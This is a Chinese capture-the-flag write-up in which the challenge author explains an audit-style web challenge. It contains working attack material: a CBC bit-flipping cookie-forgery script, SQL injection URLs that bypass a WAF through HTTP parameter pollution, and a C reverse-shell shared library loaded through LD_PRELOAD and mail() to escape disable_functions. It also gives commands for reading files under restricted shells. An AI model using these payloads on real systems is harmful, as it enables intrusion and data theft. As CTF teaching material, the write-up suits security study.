作者 火日攻天 2016-06-28 11:23:00
被查看了1459次 , 本文转载自:乌云知识库

三个白帽之招聘又开始了,你怕了吗 writeup

ALICTF 2016,我负责了3道题web,Recruitment I, Recruitment II, homework, 其中Recruitment I,Recruitment II几乎没人做出,并且做出Recruitment II的队伍在第二步都使用了unintended的做法,所以我将这三题做了修改和简化,融合为这次三个白帽的挑战题,相似但是不相同。

0x00 挑战介绍

审计题,源码在/www.zip下,有waf,就是这么自信。什么,这个网站你见过?那我也不怕,网站升级了!

0x01 writeup

虽然是出题人,不过我们还是从做题的角度来分析这次的挑战。本次挑战为审计题,源码直接放出,简单粗暴。所以我们先来看看源码。

源码分析

通过阅读源码可以发现,登录后会将用户名加密存储在cookie中

#!php
setcookie("username", encrypt($result['username']));    
header("Location: index.php");
exit();

而如果cookie解密后是admin,就能访问到后台

#!php
if (!isset($_COOKIE['username']) || decrypt($_COOKIE['username']) !== "admin") {
    die("You are not an administrator!");
}

而在后台存在一个备忘录,似乎包含着一些重要的信息

#!php
die('<div class="alert alert-danger">我就不给你看,你来打我啊</div>');
//$result=query("select content from memo;")[0];
//echo $result["content"];

经过源码阅读,基本可以确定做题的思路,1、先伪造用户名admin;2、想办法注出memo表中的内容

伪造用户名

用户名是通过aes cbc加密存储在cookie中,而密码并没有出现在源码中,不过真的是这样吗?

#!php
$pass="密码怎么会告诉你";
function encrypt( $string ) {
    $algorithm = 'rijndael-128';
    $key = md5($pass, true);
    $iv_length = mcrypt_get_iv_size( $algorithm, MCRYPT_MODE_CBC );
    $iv = mcrypt_create_iv( $iv_length, MCRYPT_RAND );
    $encrypted = mcrypt_encrypt( $algorithm, $key, $string, MCRYPT_MODE_CBC, $iv );
    $result = base64url_encode( $iv . $encrypted );
    return $result;
}

仔细阅读代码,似乎哪里有些不对,encrypt函数中的$pass真的有值吗?所以这一步最快的做法就是

#!php
echo encrypt("admin");

其实encrypt函数中,$pass=NULL,原因是没有使用global声明,所以其实$key并没有因为我改了$pass而变化,不过这点确实是我出题中的失误,不过如果我并没有犯这个错误呢?我们得怎么做?

AES似乎没有办法破解,不过针对cbc的攻击就多了,比特反转,padding oracle等等,而这里,比特反转就符合要求,细节可以参考http://drops.wooyun.org/tips/4975, 原理就是通过控制IV来影响解密的明文,所以只要需要加密的字符串不超过一个分组长度(16字节),就能伪造出任意的字符串,这里我就直接引用Hcamael提交的writeup中的脚本,通过cbc比特反转来伪造admin用户的cookie

#!python
__author__ = "Hcamael"
#!/usr/bin/env python
#-*- coding:utf-8 -*-   

import requests
import hashlib
import base64
import re   

def fuck_captcha(s):
    for x in xrange(0, 10000000):
        y = hashlib.md5(str(x)).hexdigest()
        if y[:4] == s:
            return str(x)
    print "God personality.(%s)" %s
    exit(1) 

url = "http://451bf8ea3268360ee.jie.sangebaimao.com/login.php"
url2 = "http://451bf8ea3268360ee.jie.sangebaimao.com"   

req = requests.get(url) 

c = req.headers['Set-Cookie'].split(";")[0]
c = c.split("=")
cookie = {c[0]: c[1]}   

cap = re.findall("=([a-f0-9]{4})", req.content)[0]
captcha = fuck_captcha(cap) 

data = {"username": "ddmin", "password": "ddog", "captcha": captcha}
req = requests.post(url, data=data, cookies=cookie, allow_redirects=False)  

c = req.headers['Set-Cookie']   

user = c.split("=")[1]  

u = user.replace("-", "+").replace("_", "/")
u += "=" * (len(u) % 4) 

de = base64.b64decode(u)
de2 = chr(ord(de[0]) ^ ord('d') ^ ord('a')) + de[1:]    

en = base64.b64encode(de2).replace("+", "-").replace("/", "_").replace("=", "")
# cookie = {"username": en}
# req = requests.get(url, cookies=cookie)
print en
# 输出的en为admin的cookie

不过似乎还是不够优雅,真的需要这么麻烦么?我们再来看一下cbc的加密流程。

IV与第一个分组异或,加密成第一个分组的密文,第一个分组的密文与第二个分组的明文异或,加密生成第二个分组的密文。也就是说对第二个分组而言,第一个分组的密文就是第二个分组的IV,所以说只拿着第一个分组和第二个分组的密文一样能解出第二个分组的明文。

因此,如果我们注册一个0123456789ABCDEFadmin的用户,将cookie用base64url解码就能得到48字节的IV和密文,去掉16字节的IV,将32字节的密文base64url编码,这样在解密的时候,第一个分组的密文就会充当IV,从而成功的解出第二个分组,即admin。

#!python
m=base64.urlsafe_b64decode("zlowaBbPzpaj0kFtZuFTL9Bt2S5ZJisvAK-xwj2I05e4jlaWeU9KGhLp8Gx7uYg1")
print base64.urlsafe_b64encode(m[16:])

注入

成功登录后台后就要想办法注入了,cookie虽然经过了编码能躲过waf,可是在解密的时候,有一个正则白名单,一言不合就置空,因此这条路走不通了。

#!php
if (!preg_match("/^\w+$/",$result)) {
    $result="";
}

那么唯一可能的注入点就是这里了,用来查看用户信息

#!php
$sql="select * from user where id=".$_REQUEST["id"].";";

不过,似乎waf变态的过分了

#!php
function waf($str) {
    if(stripos($str,"select")!==false)
        die("Be a good person!");
    if(stripos($str,"union")!==false)
        die("Be a good person!");
    ......
}   

function wafArr($arr) {
    foreach ($arr as $k => $v) {
        waf($k);
        waf($v);
    }
}   

wafArr($_GET);
wafArr($_POST);
wafArr($_COOKIE);
wafArr($_SESSION);  

function stripStr($str) {
    if (get_magic_quotes_gpc())
        $str = stripslashes($str);
    return addslashes(htmlspecialchars($str, ENT_QUOTES, 'UTF-8'));
}   

$uri = explode("?",$_SERVER['REQUEST_URI']);
if(isset($uri[1])) {
    $parameter = explode("&",$uri[1]);
    foreach ($parameter as $k => $v) {
        $v1 = explode("=",$v);
        if (isset($v1[1])) {
            $_REQUEST[$v1[0]] = stripStr($v1[1]);
        }
    }
}   

function stripArr($arr) {
    $new_arr = array();
    foreach ($arr as $k => $v) {
        $new_arr[stripStr($k)] = stripStr($v);
    }
    return $new_arr;
}   

$_GET=stripArr($_GET);
$_POST=stripArr($_POST);
$_COOKIE=stripArr($_COOKIE);
$_SESSION=stripArr($_SESSION);

不仅存在几乎影响功能的黑名单,还对所有参数进行的转义,找waf的漏洞似乎走不通,不过这里有个奇怪的地方,为什么用$_REQUEST["id"],而不用$_GET["id"],而且,为什么要单独处理一遍uri,重新组建$_REQUEST数组呢?这里应该就是突破口

#!php
$uri = explode("?",$_SERVER['REQUEST_URI']);
if(isset($uri[1])) {
    $parameter = explode("&",$uri[1]);
    foreach ($parameter as $k => $v) {
        $v1 = explode("=",$v);
        if (isset($v1[1])) {
            $_REQUEST[$v1[0]] = stripStr($v1[1]);
        }
    }
}

仔细思考,漏洞往往是由于实际与开发人员想的不一样产生的,而这里,又会有哪些意外的情况?答案就是HPP(HTTP Parameter Pollution),由于HTTP Sever对参数的处理,尤其是重复出现参数处理是各不相同的,这就可能有意外发生,具体细节可以看相关资料

观察waf.php的处理逻辑,waf先将参数依次通过黑名单检测,再通过REQUEST_URI重组$_REQUEST,而本题的HTTP Sever是Apache,如果出现重复的参数,后出现的参数会覆盖前面出现的,所以如果我们能构造一个URL,让HTTP Sever以为存在重复的参数,而php的处理代码却不认为存在重复的参数,就可以将注入语句隐藏在先出现的参数中从而逃逸waf的黑名单检测(由于HTTP Sever只传给php覆盖后的值,当然waf不生效了,而在重组$_REQUEST时,覆盖并没有发生,所以注入语句顺利的被执行)

不过,这种事情可能发生吗?不仅可能,方法还很多,举几个栗子

#!shell
user.php?id=0 or 1&id%00=1
user.php?id=0 or 1&%20id=1
user.php?id=0 or 1?&id=1

不过只能从重复参数做文章吗?我们知道在解析参数时,#之后是不会参与解析,而waf.php中的代码并没有针对#的处理,所以这里应该也是一个突破口,这里我们可以做个测试

#!php
<?php
var_dump($_GET);
echo $_SERVER['REQUEST_URI'];

不过浏览器不会把#号与之后的数据发送出去,所以这里我们要借助burp的帮助,构造user.php#?id=1,很明显,我们的目的达到了,$_GET中并没有任何数据,而REQUEST_URI中存在。

因此任意选一种方法都能绕过waf,而数据库的结构都在源码里,所以直接注出数据即可,不过由于REQUEST_URI经过URL编码,所以空格会被编码为%20,所以我们需要避免空格,单引号等会被编码的字符,不过这很容易,用/**/或者()即可,参考payload如下

#!shell
http://451bf8ea3268360ee.jie.sangebaimao.com/admin/user.php?id=0/**/union/**/select/**/1,2,3,4,(select/**/content/**/from/**/memo)&id%00=1

注入出memo中的内容

#!shell
/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php
password:firesun
flag is at /.

存在一个一句话,密码是firesun,flag在系统根目录,首先执行phpinfo(),可以看到禁用了大部分危险函数和类,同时限制了open_basedir,所以进入最后一步

bypass open_basedir and disable_functions

这一步基本就是alictf homework的最后一步,没有禁用putenvmail,所以可以通过设置LD_PRELOAD来执行自己的代码,详细可以参阅http://drops.wooyun.org/tips/16054, 唯一不同的是这次后台有个脚本在循环删除tmp目录下的内容,不过并不影响,仍然可以用alictf中大部分人的做法,使用move_uploaded_file上传文件,使用自己编写的so库将flag写入/tmp目录,使用includehighlight_file或者show_source来读取这个文件,只要所有操作都是在一次请求中完成的,就能在/tmp被清空前将flag读出来,不过这样并不优雅,第一,为什么要用move_uploaded_file呢,直接操作$_FILES就可以获得post上传的临时文件的路径,就可以直接用于LD_PRELOAD的设置,第二,如果能直接反弹shell,是不是问题就简单的多呢?

我们首先写一个so文件来反弹shell

#!c
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <dirent.h>
char shell[]="/bin/sh";
int sock;   

void pwn() {
    setbuf(stdout,NULL);
    struct sockaddr_in server;
    if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        printf("Couldn't make socket!\n"); exit(-1);
    }   

    server.sin_family = AF_INET;
    server.sin_port = htons(atoi("端口"));
    server.sin_addr.s_addr = inet_addr("反弹IP"); 

    if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
        printf("Could not connect to remote shell!\n");
        exit(-1);
    }

    dup2(sock, 0);
    dup2(sock, 1);
    dup2(sock, 2);

    execl(shell,"/bin/sh",(char *)0);
    close(sock);
    return 1;
}   

int geteuid() {
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    int pid = fork();
    if (pid < 0) {
        pwn();
    }
    else if (pid == 0 ) {
        setsid();
        int pid2 = fork();
        if (pid2 < 0) {
            pwn();
        }
        else if (pid2 > 0 ) {
            //Padre
        }
        else {
            close(0);
            close(1);
            close(2);
            umask(0);
            pwn();
        }
    }
}

通过下面命令编译为so文件

#!shell
gcc -c -fPIC hack.c -o hack
gcc -shared hack -o hack.so

接下来,构造一个upload.html用于上传so文件并且执行exp

#!html
<form action="http://451bf8ea3268360ee.jie.sangebaimao.com/NQTGmhlG3im8PUcsO2GgMCieThLtbqi4.php" method="post" enctype="multipart/form-data">
    <input type="file" name="hack" id="file">
    <textarea input type ="text" name="firesun">
    if(isset($_FILES['hack']['name'])) {
        var_dump($_FILES);
        $picname = $_FILES['hack']['name'];
        putenv("LD_PRELOAD=".$_FILES['hack']['tmp_name']);
        mail("a","a","a","a");
        die();
    }
    </textarea>
    <input type="submit" name="sub" value="Submit"  class="btn btn-success">
</form>

直接选择编译好的so文件上传,就能发现成功反弹了shell。

不过当然不是一帆风顺的,ls,cat等命令都被禁用了,所以,这时候有两条路,一条路是寻找被遗漏禁止的冷门命令,比如alictf中有人使用的tac,另一条路就是使用无法禁止的基本命令完成列目录和读文件,这里我们直接用后一种方法,echo *可以列目录,sh -v可以获得一个文件的第一行,而echo和sh都是无法禁止的,所以顺利的获得flag

当然其实方法还有非常多,比如bash -v,利用HISTORY等等,这里只是抛砖引玉,各位可以自行研究。

0x02 写在最后

最后来说说和题目有关的故事,本题的第一步是ALICTF Recruitment I的简化,在原题中应使用padding oracle来伪造带注入语句的用户名来注出管理员的密码,而这里只需要简单的伪造admin就行了,第二步HPP的出处其实来自phith0n牛提交的贷齐乐系统最新版SQL注入, WooYun: 贷齐乐系统最新版SQL注入(无需登录绕过WAF可union select跨表查询) , 由于HPP而导致了waf的完全绕过,而最后一步就是套路了,如何绕过open_basedir是永恒的话题,也许下一次再见就是二进制的漏洞了,XD

本文转载自:乌云知识库